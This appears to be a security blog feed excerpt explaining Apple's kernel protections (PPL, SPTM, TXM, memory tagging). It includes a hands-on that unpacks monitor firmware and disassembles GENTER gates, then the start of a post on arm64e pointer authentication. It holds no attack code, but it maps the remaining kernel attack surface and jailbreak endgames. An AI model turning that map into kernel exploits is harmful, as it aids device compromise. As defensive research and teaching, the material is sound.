<p>Row 1 is the other one worth reading across. A page table is readable to the kernel and writable only from GL2, a privilege level introduced in the GXF section below. Two of the sixteen register values are special cases, where the GL bits change what the EL bits mean. <code>0111</code> would be EL2 <code>rw-</code> with GL2 <code>r-x</code> if the two halves were read independently; it decodes to EL2 <code>---</code> instead, so no page is ever writable from the kernel and executable from GL2, and the kernel cannot modify the code that runs at GL2. <code>1001</code> is the smaller one: EL2 <code>r-x</code> becomes <code>--x</code> when the page is only readable from GL2.</p>
<h2 id="ppl-page-tables-the-kernel-cannot-write">PPL: page tables the kernel cannot write</h2>
<p>The Page Protection Layer, PPL, is what Apple built on top of that primitive. Page tables and the structures backing code signing are mapped read-only to the kernel. A small body of code is allowed to write them, and it lives in its own segments, <code>__PPLTEXT</code> and <code>__PPLDATA</code>, reached through a trampoline that flips the permission register on entry and flips it back on exit. Everything else in the kernel, including a compromised everything else, sees read-only memory. That is the APRR-era mechanism. On the A14 and the base M1 the flip moved into hardware: the trampoline enters GL2 with <code>GENTER</code>, the instruction the next section takes apart, which is why the M1 kernel in the hands-on below carries six <code>GENTER</code> sites.</p>
<p>The attack surface that remains is the list of routines the trampoline will dispatch to, and XNU&rsquo;s open source publishes it: <code>ppl_handler_table</code> in <code>osfmk/arm/pmap/pmap.c</code> for the mapping side, with the entry and exit helpers next door in <code>pmap_ppl_interface.c</code>, and the <code>pmap_cs_*</code> family for code signing. <code>bsd/kern/code_signing/ppl.c</code> is the shim above them.</p>
<p>PPL removed two specific steps from an exploit. A kernel read and write no longer lets you mark a page of your own executable, because the page-table entry that would say so is not writable from EL1. It no longer lets you register a code signature the kernel will trust, because the structure holding it is not writable either. Both of those became &ldquo;find a PPL routine that can be made to do it for you&rdquo;.</p>
<p>PPL shipped on the A11 and S3, and Apple&rsquo;s compatibility table runs it through the A14 and the M1.</p>
<h2 id="gxf-sptm-and-txm">GXF, SPTM and TXM</h2>
<p>The replacement takes that hardware further. GXF, the Guarded Execution Feature, adds a set of levels lateral to the architectural exception levels, called guarded levels: GL0, GL1, GL2. They are entered with an Apple-proprietary instruction, <code>GENTER</code>, opcode <code>0x00201420</code>, and left with <code>GEXIT</code>, opcode <code>0x00201400</code>. They have their own copies of the registers a privilege level needs, including the vector base and the exception link register, and their permissions come from the SPRR columns above.</p>
<p>SPTM, the Secure Page Table Monitor, runs in GL2. It is a separate binary, signed and loaded alongside the kernel, and it is the only software on the system that writes a page-table entry. XNU still computes the mapping it needs and still builds the entry; it then hands it over:</p>
<pre><code class="language-c">sptm_return_t sptm_map_page(pmap_paddr_t ttep, vm_address_t va, pt_entry_t new_pte)
</code></pre>
<p><code>ttep</code> is the physical address of the root translation table of the address space being modified, <code>va</code> the virtual address, <code>new_pte</code> the entry XNU computed. In XNU&rsquo;s own tree the call sits at the bottom of the ordinary mapping path, <code>pmap_enter_options</code> into <code>pmap_enter_pte</code> into <code>sptm_map_page</code>, in <code>osfmk/arm64/sptm/pmap/pmap.c</code>. That directory is the second pmap implementation in the tree; the PPL one is still there, at <code>osfmk/arm/pmap/</code>.</p>
<p>SPTM decides whether to honour the request using a type it keeps for every managed physical frame, named after what the frame is for: <code>XNU_DEFAULT</code> for ordinary kernel memory, <code>XNU_PAGE_TABLE</code>, <code>XNU_USER_EXEC</code>, <code>XNU_USER_JIT</code>, <code>XNU_ROZONE</code> for the read-only zones of the <a href="/blog/zone-allocator/">zone allocator post</a>, <code>SPTM_XNU_CODE</code> for the kernel&rsquo;s own text. Changing a frame&rsquo;s type is a second call, <code>sptm_retype()</code>, taking the current type, the new type, and parameters specific to the transition.</p>
<p>Types belong to domains, and this is the part that does the real work. Steffin and Classen read them out of Apple&rsquo;s own <code>sptm_common.h</code>, which ships in the macOS SDK: <code>SPTM_DOMAIN</code>, <code>XNU_DOMAIN</code>, <code>TXM_DOMAIN</code>, <code>SK_DOMAIN</code>, and <code>XNU_HIB_DOMAIN</code> for hibernation. Retyping is scoped to stay inside one domain apart from a small set of allowed transitions, and mapping rules are written per type, so a frame belonging to another domain is not something XNU can map, whatever it does to its own page tables.</p>
<p>TXM, the Trusted Execution Monitor, runs in GL0, and owns code signing, entitlements, trust caches and provisioning profiles. XNU calls it through SPTM, and the call looks like a system call rather than a function call:</p>
<pre><code class="language-c">txm_enter(parameters-&gt;selector, &amp;txm_registers);
</code></pre>
<p>That is from <code>bsd/kern/code_signing/txm.c</code>, in <code>txm_kernel_call_internal</code>. The kernel takes one of a fixed set of per-CPU thread stacks, puts its physical address in <code>x0</code>, marshals the arguments into registers, and enters. Forty distinct selector names appear in that file, from <code>kTXMKernelSelectorRegisterCodeSignature</code> through <code>kTXMKernelSelectorEnterLockdownMode</code>. The return value comes back through a shared context page, and XNU panics if the monitor claims to return more words than the stack can hold.</p>
<p>GL1 holds the Secure Kernel, an seL4-style microkernel that serves Exclaves: scoped groupings of resources the kernel can invoke but not map, with their own IPC mechanism, Tightbeam. They deserve a post of their own, and the paper in the sources covers them at length.</p>
<h2 id="what-el1-no-longer-owns">What EL1 no longer owns</h2>
<p>The cleanest evidence for how much moved is XNU&rsquo;s own directory listing. <code>bsd/kern/code_signing/</code> contains three files:</p>
<table>
<thead>
<tr>
<th>file</th>
<th>who enforces</th>
<th>on what</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>xnu.c</code></td>
<td>the kernel itself</td>
<td>platforms with no monitor</td>
</tr>
<tr>
<td><code>ppl.c</code></td>
<td>PPL, through <code>pmap_cs_*</code></td>
<td>A11 to A14, M1</td>
</tr>
<tr>
<td><code>txm.c</code></td>
<td>TXM, through <code>txm_enter</code></td>
<td>A15 and later, M2 and later</td>
</tr>
</tbody>
</table>
<p>Two of the three implement the same API. <code>ppl.c</code> and <code>txm.c</code> both provide <code>register_code_signature</code>, <code>verify_code_signature</code>, <code>associate_jit_region</code>, <code>toggle_developer_mode</code> and <code>enter_lockdown_mode</code>: the same operations, with the enforcement in a different place on each generation of hardware. Four of those five are declared inside <code>#if CODE_SIGNING_MONITOR</code> in <code>bsd/sys/code_signing_internal.h</code>, so <code>xnu.c</code> only implements <code>toggle_developer_mode</code>, next to the local signing key and a comment saying that without a monitor a kernel memory exploit will be able to corrupt code signing state.</p>
<p>So what does an arbitrary kernel write still reach? Everything typed <code>XNU_DEFAULT</code>, which is most of the kernel heap and therefore most of what the previous two posts were about. What it does not reach: page tables, the read-only zones holding credentials and MACF (Mandatory Access Control Framework) labels, TXM&rsquo;s slabs holding trust caches and code signatures, SPTM&rsquo;s frame table, and anything in the Secure Kernel&rsquo;s domain. Retyping one of your own pages into something executable is a request, checked against a rule set that lives in a binary you cannot modify.</p>
<p>The practical consequence for a jailbreak is that the two classic endgames are closed by construction rather than by a check you can skip. You cannot add a cdhash, the hash of a binary&rsquo;s code directory, to the trust cache, because the trust cache is in a TXM frame. You cannot map your own code executable, because the mapping is a call into GL2 and GL2 validates the frame type first.</p>
<h2 id="hands-on-finding-the-monitors-on-your-own-mac">Hands-on: finding the monitors on your own Mac</h2>
<p>None of this needs a device, a debugger, or a download. On an Apple silicon Mac the monitors ship as their own Image4 payloads in the Preboot volume, next to the kernelcache, and <code>sudo</code> is enough to read them. The machine is a Mac14,9, an M2 Pro, running macOS 26.4.1 (build 25E253) with System Integrity Protection on.</p>
<pre><code class="language-bash">sudo ls -1 /System/Volumes/Preboot/*/restore-staged/Firmware/ | grep -E 'sptm|txm'
</code></pre>
<pre><code>sptm.t6000.release.im4p
sptm.t6020.release.im4p
sptm.t6030.release.im4p
sptm.t6031.release.im4p
sptm.t6041.release.im4p
sptm.t6050.release.im4p
sptm.t8112.release.im4p
sptm.t8122.release.im4p
sptm.t8132.release.im4p
sptm.t8140.release.im4p
sptm.t8142.release.im4p
txm.macosx.release.im4p
</code></pre>
<p>One SPTM per SoC, and <code>t6020</code> is this machine&rsquo;s. One TXM for macOS, because TXM is built once for the platform while SPTM is tied to the silicon it programs. Note <code>t6000</code>, which is the M1 Pro, in a set of monitors that Apple&rsquo;s compatibility table gives to the A15 and later and the M2 and later. Hold on to that; the last block of this hands-on settles what it means.</p>
<p>Copy the two that apply to this machine somewhere writable, read the header of one, and unpack both. <code>pyimg4</code> is the same tool the <a href="/blog/ios-chain-of-trust/">chain of trust post</a> used on a kernelcache:</p>
<pre><code class="language-bash">mkdir -p /tmp/mon &amp;&amp; cd /tmp/mon
P=/System/Volumes/Preboot/*/restore-staged/Firmware
sudo cp $P/sptm.t6020.release.im4p $P/txm.macosx.release.im4p .
sudo chown &quot;$(whoami)&quot; sptm.t6020.release.im4p txm.macosx.release.im4p
pyimg4 im4p info -i sptm.t6020.release.im4p
pyimg4 im4p extract -i sptm.t6020.release.im4p -o sptm.raw
pyimg4 im4p extract -i txm.macosx.release.im4p -o txm.raw
file sptm.raw txm.raw
</code></pre>
<pre><code>Reading sptm.t6020.release.im4p...
Image4 payload info:
  FourCC: sptm
  Description: 1
  Data size: 182.65KB
  Data compression type: LZFSE
  Data size (uncompressed): 1261.6KB
  Encrypted: False

  Properties (13): kcep, kclf, kclo, kclz, kcmf, kcmz, kcrf, kcrz, kcuu, kcwf, kcwz, kcxf, kcxz
Reading sptm.t6020.release.im4p...
[NOTE] Image4 payload data is LZFSE compressed, decompressing...
Extracted Image4 payload data to: sptm.raw
Reading txm.macosx.release.im4p...
[NOTE] Image4 payload data is LZFSE compressed, decompressing...
Extracted Image4 payload data to: txm.raw
sptm.raw: Mach-O 64-bit executable arm64e
txm.raw:  Mach-O 64-bit executable arm64e
</code></pre>
<p>An Image4 payload with its own four-character code, <code>sptm</code>, unencrypted and LZFSE-compressed. TXM&rsquo;s header reads the same way with the code <code>trxm</code>, 168 KB compressed to 475 KB. SPTM runs before XNU does: the bootstrap arguments the kernel reads at startup come from SPTM, declared in <code>osfmk/arm64/sptm/sptm.h</code> as <code>SPTMArgs</code>.</p>
<p>Both are also ordinary arm64e Mach-O executables, and small: 1261 KB for SPTM, 475 KB for TXM. The kernelcache they arbitrate for unpacks to 118 MB, as the next block shows, ninety times the size of SPTM. Moving code out of XNU buys nothing if the destination is as large as XNU.</p>
<p>The kernelcache that actually booted sits a few directories away, under <code>boot/&lt;hash&gt;/System/Library/Caches/com.apple.kernelcaches/</code>, and unlike the monitors it is a full Image4 file rather than a bare payload, so it carries a manifest:</p>
<pre><code class="language-bash">K=$(sudo ls -1t /System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache | head -1)
sudo cp &quot;$K&quot; kernelcache.boot &amp;&amp; sudo chown &quot;$(whoami)&quot; kernelcache.boot
pyimg4 img4 info -i kernelcache.boot
</code></pre>
<pre><code>Reading kernelcache.boot...
Image4 info:
  Image4 payload info:
    FourCC: krnl
    Description: KernelManagement_host-487.100.11
    Data size: 31820.48KB
    Data compression type: LZFSE
    Data size (uncompressed): 118833.15KB
    Encrypted: False

  Image4 manifest info:
    Device Processor: T6020
    ECID (hex): 0x&lt;this machine's ECID&gt;
    ApNonce (hex): &lt;nonce&gt;
    SepNonce (hex): &lt;nonce&gt;
    Manifest images (33): anef, aopf, avef, bstc, csys, dcp2, dtre, gfxf, ibdt,
      ibec, ibot, ipdf, ispf, isys, krnl, msys, mtfw, mtpf, pmpf, rdc2, rdsk,
      rdtr, rkrn, rlgo, rosi, rspt, rtrx, rtsc, siof, sptm, strc, trst, trxm
</code></pre>
<p>Read the last line. <code>sptm</code> and <code>trxm</code> are in the manifest, next to <code>krnl</code>, <code>ibot</code> and <code>ibec</code>, tied to this machine&rsquo;s ECID and this boot&rsquo;s nonce. The monitors are separate images in the personalised boot set, measured and approved by the same chain of trust this series opened with, now carrying two more objects.</p>
<p>That brings back the question the first block left open. macOS ships one kernel per SoC as a plain Mach-O in <code>/System/Library/Kernels/</code>, so both designs sit on the same disk. Segments first:</p>
<pre><code class="language-bash">cd /System/Library/Kernels
for k in t8103 t6000 t6020 t8142; do
  printf '%-8s ' $k
  otool -l kernel.release.$k | awk '/segname/{print $2}' | sort -u | grep -E 'PPL|SPTM|BOOT_EXEC' | tr '\n' ' '
  echo
done
</code></pre>
<pre><code>t8103    __PPLDATA __PPLDATA_CONST __PPLTEXT
t6000    __DATA_SPTM __TEXT_BOOT_EXEC
t6020    __DATA_SPTM __TEXT_BOOT_EXEC
t8142    __DATA_SPTM __TEXT_BOOT_EXEC
</code></pre>
<p><code>t8103</code> is the M1, <code>t6000</code> the M1 Pro, <code>t6020</code> the M2 Pro, <code>t8142</code> the M5. The M1 kernel carries PPL&rsquo;s own segments and no SPTM data segment. Every other kernel on this disk is the other build.</p>
<p>Counting <code>GENTER</code> says the same thing from the instruction side. The opcode is <code>0x00201420</code>, so it is four bytes at a four-byte alignment:</p>
<pre><code class="language-bash">python3 - &lt;&lt;'EOF'
for k in ('t8103', 't6000', 't6020', 't8142'):
    d = open(f'/System/Library/Kernels/kernel.release.{k}', 'rb').read()
    g = sum(1 for i in range(0, len(d) - 3, 4) if d[i:i + 4] == b'\x20\x14\x20\x00')
    print(f'{k}: genter={g}  size={len(d)}')
EOF
</code></pre>
<pre><code>t8103: genter=6  size=16908904
t6000: genter=151  size=16676856
t6020: genter=152  size=16579928
t8142: genter=151  size=17095896
</code></pre>
<p>Six is a set of trampolines, which is what PPL is. A hundred and fifty is an interface. So the M1 Pro is on the SPTM side, and Apple&rsquo;s table, which lists the M1 under PPL, is accurate for the chip it names and for nothing above it: on macOS 26.4.1 the only PPL kernel Apple ships for Apple silicon is the one built for <code>t8103</code>.</p>
<p>Those sites are not scattered through the kernel either. Disassemble the kernel and sort every gate by what it writes into <code>x16</code> before the transition:</p>
<pre><code class="language-bash">otool -xv /System/Library/Kernels/kernel.release.t6020 &gt; /tmp/kern.dis

awk '$0 ~ /(mov|movk|movz)[ \t]+[wx]16,/ {last=$0}
     $0 ~ /\.long[ \t]+0x00201420/ {print last}' /tmp/kern.dis &gt; /tmp/x16.txt

awk '{ if ($0 ~ /lsl #48/) k=&quot;domain, bits 48-55&quot;;
       else if ($0 ~ /lsl #32/) k=&quot;dispatch table, bits 32-39&quot;;
       else k=&quot;selector only&quot;;
       c[k]++ } END { for (i in c) printf &quot;%-28s %3d\n&quot;, i, c[i] }' /tmp/x16.txt
</code></pre>
<pre><code>dispatch table, bits 32-39    98
selector only                 50
domain, bits 48-55             2
</code></pre>
<p>Two gates name a domain, ninety-eight name a dispatch table, and fifty carry a selector and nothing else. That is 150 against the 152 the script counted, because two of the byte matches are data rather than code. The three groups are the three fields of <code>sptm_common.h</code>, read off the binary instead of off the header. The fifty are not scattered either:</p>
<pre><code class="language-bash">grep -v lsl /tmp/x16.txt | sort | head -5
</code></pre>
<pre><code>fffffe0007c11394    mov    x16, #0x0
fffffe0007c113bc    mov    x16, #0x1
fffffe0007c113e4    mov    x16, #0x2
fffffe0007c1140c    mov    x16, #0x3
fffffe0007c11434    mov    x16, #0x4
</code></pre>
<p>Forty bytes apart, one selector at a time: a generated table of entry points. Apple&rsquo;s own disassembler will show you one of the gates, and will stop at the instruction it does not know:</p>
<pre><code class="language-bash">grep -B8 -A1 'fffffe0007c1092c' /tmp/kern.dis
</code></pre>
<pre><code>fffffe0007c1090c    pacibsp
fffffe0007c10910    mov    w16, w0
fffffe0007c10914    movk    x16, #0x3, lsl #48
fffffe0007c10918    mov    x10, x1
fffffe0007c1091c    ldp    x0, x1, [x10]
fffffe0007c10920    ldp    x2, x3, [x10, #0x10]
fffffe0007c10924    ldp    x4, x5, [x10, #0x20]
fffffe0007c10928    ldp    x6, x7, [x10, #0x30]
fffffe0007c1092c    .long    0x00201420
fffffe0007c10930    retab
</code></pre>
<p>That is the whole interface in ten instructions. <code>w0</code> is the selector the caller asked for and it goes into <code>x16</code>; <code>movk</code> puts 3 into bits 48 to 55 of the same register, which Apple&rsquo;s <code>sptm_common.h</code> gives to the domain field, and domain 3 is <code>SK_DOMAIN</code>; eight arguments are loaded from a structure the caller passed in <code>x1</code>; and then the transition, which <code>otool</code> prints as <code>.long 0x00201420</code> because <code>genter</code> has no mnemonic in Apple&rsquo;s own tooling. The <code>retab</code> on the way out is the return-address authentication from the previous post: a gate into the most privileged software on the machine is still an ordinary arm64e function.</p>
<p>The minimal form is <code>0xa78</code> bytes further on:</p>
<pre><code class="language-bash">grep -B5 -A2 'fffffe0007c11398' /tmp/kern.dis
</code></pre>
<pre><code>fffffe0007c11384    pacibsp
fffffe0007c11388    stp    x29, x30, [sp, #-0x10]!
fffffe0007c1138c    mov    x29, sp
fffffe0007c11390    bl    0xfffffe00072ddf38
fffffe0007c11394    mov    x16, #0x0
fffffe0007c11398    .long    0x00201420
fffffe0007c1139c    bl    0xfffffe00072ddfa4
fffffe0007c113a0    mov    sp, x29
</code></pre>
<p>A call value of zero, no arguments, and a <code>bl</code> on each side of the transition. XNU&rsquo;s open source brackets its monitor entries the same way, with <code>recount_enter_secure()</code> before and <code>recount_leave_secure()</code> after, so that time spent inside the monitor is accounted separately from time spent in the kernel.</p>
<p>Ghidra makes the same point more bluntly:</p>
<p><img alt="Ghidra disassembling the same gate: pacibsp, the frame setup, the bl and the x16 load decode normally, then the bytes 20 14 20 00 are marked as undefined and every byte after them stays undefined to the end of the function" src="genter-gate.png" loading="lazy" decoding="async" width="451" height="440"></p>
<p>It decodes the prologue and the selector, stops on the same four bytes, and never recovers its alignment, so the rest of the gate is a column of undefined bytes. The epilogue is still in that column if you decode it by hand: <code>02 33 db 97</code> is the second <code>bl</code>, <code>bf 03 00 91</code> is <code>mov sp, x29</code>, <code>fd 7b c1 a8</code> is <code>ldp x29, x30, [sp], #0x10</code>, and <code>ff 0f 5f d6</code> is <code>retab</code>. The instruction sitting between them is the one that moves this machine into its most privileged execution level.</p>
<p>The kernel also reports what it is not running. Exclaves have two sysctls, and on this Mac they both say the same thing:</p>
<pre><code class="language-bash">sysctl -a 2&gt;/dev/null | grep -iE 'sptm|txm|exclave'
</code></pre>
<pre><code>kern.exclaves_status: 255
kern.exclaves_boot_stage: -1
</code></pre>
<p>Both values are named in <code>osfmk/mach/exclaves.h</code>: <code>EXCLAVES_STATUS_NOT_SUPPORTED</code> is <code>0xFF</code>, and <code>EXCLAVES_BOOT_STAGE_NONE</code> is <code>~0u</code>, which the sysctl prints as a signed <code>-1</code>. So this kernel reports exclaves as unsupported and never booted. That pair does not say whether the code is in the build at all: both sysctls are registered in <code>bsd/kern/kern_sysctl.c</code> outside every <code>#if CONFIG_EXCLAVES</code> guard, and the <code>#else</code> arm of <code>osfmk/kern/exclaves_boot.c</code> returns exactly those two values. <code>kern.exclaves_relaxed_requirements</code> sits inside the guard and is missing from the same output, which points at a kernel built without <code>CONFIG_EXCLAVES</code>. Nothing else matches, because <code>txm.c</code> exposes TXM&rsquo;s allocator metrics only under <code>#if DEVELOPMENT || DEBUG</code>, and this is a release kernel.</p>
<h2 id="what-is-left-to-attack">What is left to attack</h2>
<p>The interface is the attack surface, and both interfaces are small enough to enumerate. On the SPTM side that means the arguments of every dispatched function, coming from a caller the design assumes may be compromised: a physical address that must be inside the managed range, a type that must be a real type, a transition that must be in the allowed set, a frame that must not already be mid-retype. Steffin and Classen walk that validation chain in the binary, and the interesting reading is where a check is per-type rather than global.</p>
<p>On the TXM side, XNU passes the physical address of a thread stack it owns and reads results back from a shared context page. Both are memory the kernel allocated, which makes the boundary between &ldquo;argument the monitor validates&rdquo; and &ldquo;structure the monitor trusts&rdquo; the thing worth mapping. Forty-six selectors is the whole API: forty in <code>txm.c</code>, and six more in <code>bsd/kern/kern_trustcache.c</code> for loading and querying trust caches.</p>
<p>XNU&rsquo;s own domain is untouched by all of it: the data-only techniques of the zone allocator post still work on anything typed <code>XNU_DEFAULT</code>, and the difference is that the chain ends there instead of continuing into the page tables.</p>
<p>Two limits on the public record are worth stating. Steffin and Classen call their own paper an architectural overview rather than a security evaluation, with significant parts of the remapping logic left unread. And the monitors keep changing, so anything written about a specific dispatch table or a selector number is a snapshot of one firmware.</p>
<h2 id="memory-tagging-always-on">Memory tagging, always on</h2>
<p>Memory Integrity Enforcement, MIE, announced in September 2025 with the A19 and A19 Pro in the iPhone 17 and iPhone Air, and shipping on the M5, is three things at once in Apple&rsquo;s own description. Typed allocators, met earlier in the series as <code>kalloc_type</code> in iOS 15, with a userland counterpart, <code>xzone</code> malloc, since iOS 17. The Enhanced Memory Tagging Extension, EMTE, in synchronous mode. And a set of policies Apple calls tag confidentiality enforcement.</p>
<p>Allocators can only protect at page granularity, so they separate type buckets from one another, and tagging covers what happens inside a bucket. Neighbouring allocations get different tags, so a linear overflow faults at the instruction that commits it. Freed memory is retagged before reuse, so a stale pointer faults on first access. Apple&rsquo;s blog says asynchronous reporting leaves a race window open for an attacker, and that they would not ship it.</p>
<p>Tags are a secret, and a large part of the design goes into keeping them one. Tag values are specified not to influence speculative execution, which is exactly what TikTag and StickyTags exploit on Pixel hardware, both named in Apple&rsquo;s post. The generator that picks tags is frequently reseeded. And Spectre V1, which would otherwise leak tags through conditional branches, gets a mitigation that Apple describes as forcing an attacker to chain 25 or more V1 sequences for a high exploitability rate.</p>
<p>One sentence in Apple&rsquo;s announcement ties memory tagging back to SPTM: the kernel allocator&rsquo;s backing store and the tag storage itself are protected by the Secure Page Table Monitor. The paper&rsquo;s frame-type table has the matching entry, <code>XNU_TAG_STORAGE</code>, owned by the SPTM domain rather than XNU&rsquo;s. Memory tagging on this platform is built on the monitor, and a kernel compromise does not reach the tags.</p>
<p>The Mac used above is a generation too early to show any of it:</p>
<pre><code class="language-bash">sysctl hw.optional.arm | grep -iE 'mte|tag'
</code></pre>
<pre><code>hw.optional.arm.FEAT_MTE: 0
hw.optional.arm.FEAT_MTE2: 0
hw.optional.arm.FEAT_MTE3: 0
hw.optional.arm.FEAT_MTE4: 0
hw.optional.arm.FEAT_MTE_ASYNC: 0
hw.optional.arm.FEAT_MTE_STORE_ONLY: 0
hw.optional.arm.FEAT_MTE_CANONICAL_TAGS: 0
hw.optional.arm.FEAT_MTE_NO_ADDRESS_TAGS: 0
</code></pre>
<p>Apple names the class that survives, and calls it rare: corruption that stays inside one correctly tagged allocation. Add the classes tagging was never aimed at, races and uninitialised reads and confusion between two objects sharing a bucket, and that is what is left. Calif.io&rsquo;s May 2026 write-up is the public data point so far: a local privilege escalation on M5 hardware with kernel MIE on, put together in five days once the bugs were in hand.</p>
<h2 id="state-in-2026">State in 2026</h2>
<p><strong>Fast Permission Restrictions (A11 and S3 and later, from iOS 11).</strong> The primitive under everything above. Apple&rsquo;s documentation names it; the research community&rsquo;s name for the registers is APRR, and its successor is SPRR.</p>
<p><strong>PPL (A11 and S3 through A14, and the base M1).</strong> Page tables writable only from a trampolined context on every platform that runs it, and the code-signing structures too on iOS, iPadOS, visionOS and watchOS. Apple leaves macOS out of that second half, because macOS is designed to run arbitrary code. Still shipping: on macOS 26.4.1 the kernel built for <code>t8103</code> is the only PPL build left in <code>/System/Library/Kernels/</code>.</p>
<p><strong>SPTM and TXM (A15 upwards, M2 upwards, and every Apple silicon Mac except the base M1, since iOS 17 and macOS 14).</strong> Page tables in GL2, code signing in GL0, both in binaries outside the kernel. A kernel read and write reaches neither.</p>
<p><strong>MIE (A19 and A19 Pro from iOS 26, the M5 from macOS 26 and iPadOS 26).</strong> Synchronous EMTE over the typed allocators, covering the kernel and more than seventy userland processes, with the tag storage itself protected by SPTM.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>Every mitigation in the last three posts has the same shape once you line them up. None of them fixes a bug. <code>kalloc_type</code> removed the attacker&rsquo;s choice of neighbour, pointer authentication removed the value of the pointer, and SPTM removes the two structures the write was aimed at. All three raise the number of separate, working primitives a chain needs before it produces anything. That is the whole strategy, and it shows in the two public chains this series has walked: kfd, which keeps a physical page rather than competing for a virtual one, and Calif.io&rsquo;s on M5, which its authors describe as data-only.</p>
<p>Everything above describes how the monitors work and what they refuse. None of it says what a bug in one would be worth, and for the moment there is no public body of work to measure that against. The next post goes back down to userland, where the objects a reverser actually meets live: the Objective-C runtime, the <code>isa</code> pointer, and the dyld shared cache, which is why the system libraries are no longer on the disk as separate files.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, published research, and a Mac running a stock, unmodified macOS.</p>
<ul>
<li>Apple, <a href="https://support.apple.com/guide/security/operating-system-integrity-sec8b776536b/web">Operating system integrity</a> in the Apple Platform Security guide, for Fast Permission Restrictions from the A11 and S3, and for the per-SoC table of which platforms run PPL, SPTM and MIE, including the footnote that SPTM is A15 and later and M2 and later.</li>
<li>Moritz Steffin and Jiska Classen, <a href="https://arxiv.org/abs/2510.09272">Modern iOS Security Features: A Deep Dive into SPTM, TXM, and Exclaves</a>, October 2025, for the guarded-level architecture, the <code>GENTER</code> dispatch from XNU, the full frame-type and domain tables, the validation performed by <code>retype</code>, TXM&rsquo;s place in the design, and the Exclaves and Tightbeam material this post only points at.</li>
<li>Sven Peter, <a href="https://blog.svenpeter.dev/posts/m1_sprr_gxf/">Apple Silicon Hardware Secrets: SPRR and Guarded Exception Levels (GXF)</a>, May 2021, for the SPRR index mechanism, the permission table quoted above, and the <code>GENTER</code> and <code>GEXIT</code> opcodes.</li>
<li>Siguza, <a href="https://blog.siguza.net/APRR/">APRR</a>, for the earlier generation of the same primitive, reverse-engineered before Apple documented anything.</li>
<li>Apple, <a href="https://github.com/apple-oss-distributions/xnu">XNU source</a>: <code>osfmk/arm64/sptm/sptm.h</code> and <code>osfmk/arm64/sptm/pmap/pmap.c</code> for the SPTM interface and the mapping path, <code>osfmk/arm/pmap/pmap.c</code> and <code>pmap_ppl_interface.c</code> for the PPL one, <code>bsd/kern/code_signing/{xnu,ppl,txm}.c</code> for the three code-signing backends, and <code>osfmk/mach/exclaves.h</code> for the status values decoded in the hands-on.</li>
<li>Apple Security Research, <a href="https://security.apple.com/blog/memory-integrity-enforcement/">Memory Integrity Enforcement</a>, September 2025, for what MIE is made of, the synchronous requirement, the tag confidentiality work, the Spectre V1 numbers, and the statement that SPTM protects the tag storage.</li>
<li>Calif.io (Bruce Dang, Dion Blazakis, Josh Maine), <a href="https://blog.calif.io/p/first-public-kernel-memory-corruption">First public macOS kernel memory corruption exploit on Apple M5</a>, May 2026, for what a chain looks like against MIE-enabled hardware.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Apple internals #8: Pointer authentication</title>
      <link>https://sigreturn.com/blog/pointer-authentication-arm64e/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/pointer-authentication-arm64e/</guid>
      <pubDate>Sun, 19 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>macos</category>
      <category>arm64e</category>
      <category>pac</category>
      <category>exploitation</category>
      <category>mitigations</category>
      <description><![CDATA[<p><a href="/blog/zone-allocator/">The previous post</a> ended one function call short. Credentials, MACF (Mandatory Access Control Framework) labels and process state all moved into read-only zones, and the handful of allocator routines allowed to write them run in a privileged context. An arbitrary kernel write does not reach any of it. Calling one of those routines does, and calling something means getting an address you chose into a register the hardware is about to branch to.</p>
<p>That step used to be the cheap one. Find a pointer the target will call later, overwrite it, wait. Apple&rsquo;s answer was not another check on the write. On arm64e, Apple&rsquo;s pointer-authentication ABI, the pointer carries a cryptographic code in its own unused bits, the hardware verifies that code at the branch, and the key it verifies against is not in memory at all.</p>
<p>No amount of read and write recovers the key, so the attacks in this post go after the modifier, the signing operation, or the crash instead.</p>
<div class="admonition note">
<p>Everything here is public: the ARM architecture, Apple&rsquo;s own arm64e ABI documentation, open-source XNU and objc4, and published research. The hands-on runs on a stock Mac with nothing disabled. There is no exploit and no bypass chain in this post.</p>
</div>
<h2 id="the-spare-bits-of-a-pointer">The spare bits of a pointer</h2>
<p>A pointer does not need 64 bits. On the Mac used below a user process gets 47 bits of virtual address, so bits 63 down to 47 of every valid user pointer are zero, and the same bits in a kernel pointer are all ones. The hardware insists on it: the unused top of an address has to be the sign extension of the address itself, or the translation fails.</p>
<p>Pointer authentication (PAC) writes its code into that dead space, and it has to work around bit 55, because bit 55 is what tells the MMU whether the address belongs to the user half or the kernel half. So the field arrives in two pieces:</p>
<pre><code> 63       56 55 54       47 46                                0
+-----------+--+-----------+---------------------------------+
|    PAC    |  |    PAC    |         virtual address         |
+-----------+--+-----------+---------------------------------+
             ^
             bit 55, preserved: 0 selects TTBR0 (user),
                                1 selects TTBR1 (kernel)
</code></pre>
<p>Top-byte-ignore (TBI), which lets software keep a tag in bits 63 to 56 that the MMU discards, takes the top byte away from the code when it is enabled for that kind of pointer. On this machine an instruction pointer gets 16 bits, eight in the top byte and eight more in bits 54 to 47, which the hands-on measures directly. Brandon Azad did the same measurement on kernel pointers on the A12 in 2019 and found the mask <code>0xff7fff8000000000</code>, a 24-bit field, because kernel addresses there are narrower and leave more room.</p>
<h2 id="sign-authenticate-fail">Sign, authenticate, fail</h2>
<p>Two instructions do the signing and the checking:</p>
<pre><code class="language-asm">pacia   x0, x1      ; sign the pointer in x0 with key IA, modifier in x1
autia   x0, x1      ; authenticate x0 against the same key and modifier
</code></pre>
<p><code>autia</code> recomputes the code from the address it finds and the modifier it is given, compares it with the one stored in the pointer, and on success hands back a clean, dereferenceable address. <code>xpaci</code> strips a code without checking it, for tooling that only wants the bare address. <code>pacga</code> does not touch a pointer at all: it takes a value in one register and a modifier in a second, and writes a 32-bit code into the top half of a third, for signing data that is not an address.</p>
<p>Each of these has a second spelling where the modifier is not a register. A trailing <code>z</code> means the modifier is zero: <code>paciza</code>, <code>autiza</code>, <code>braaz</code>, <code>blraaz</code>. Others hardcode a register, which is how the link register is handled: <code>pacibsp</code> signs it against the stack pointer.</p>
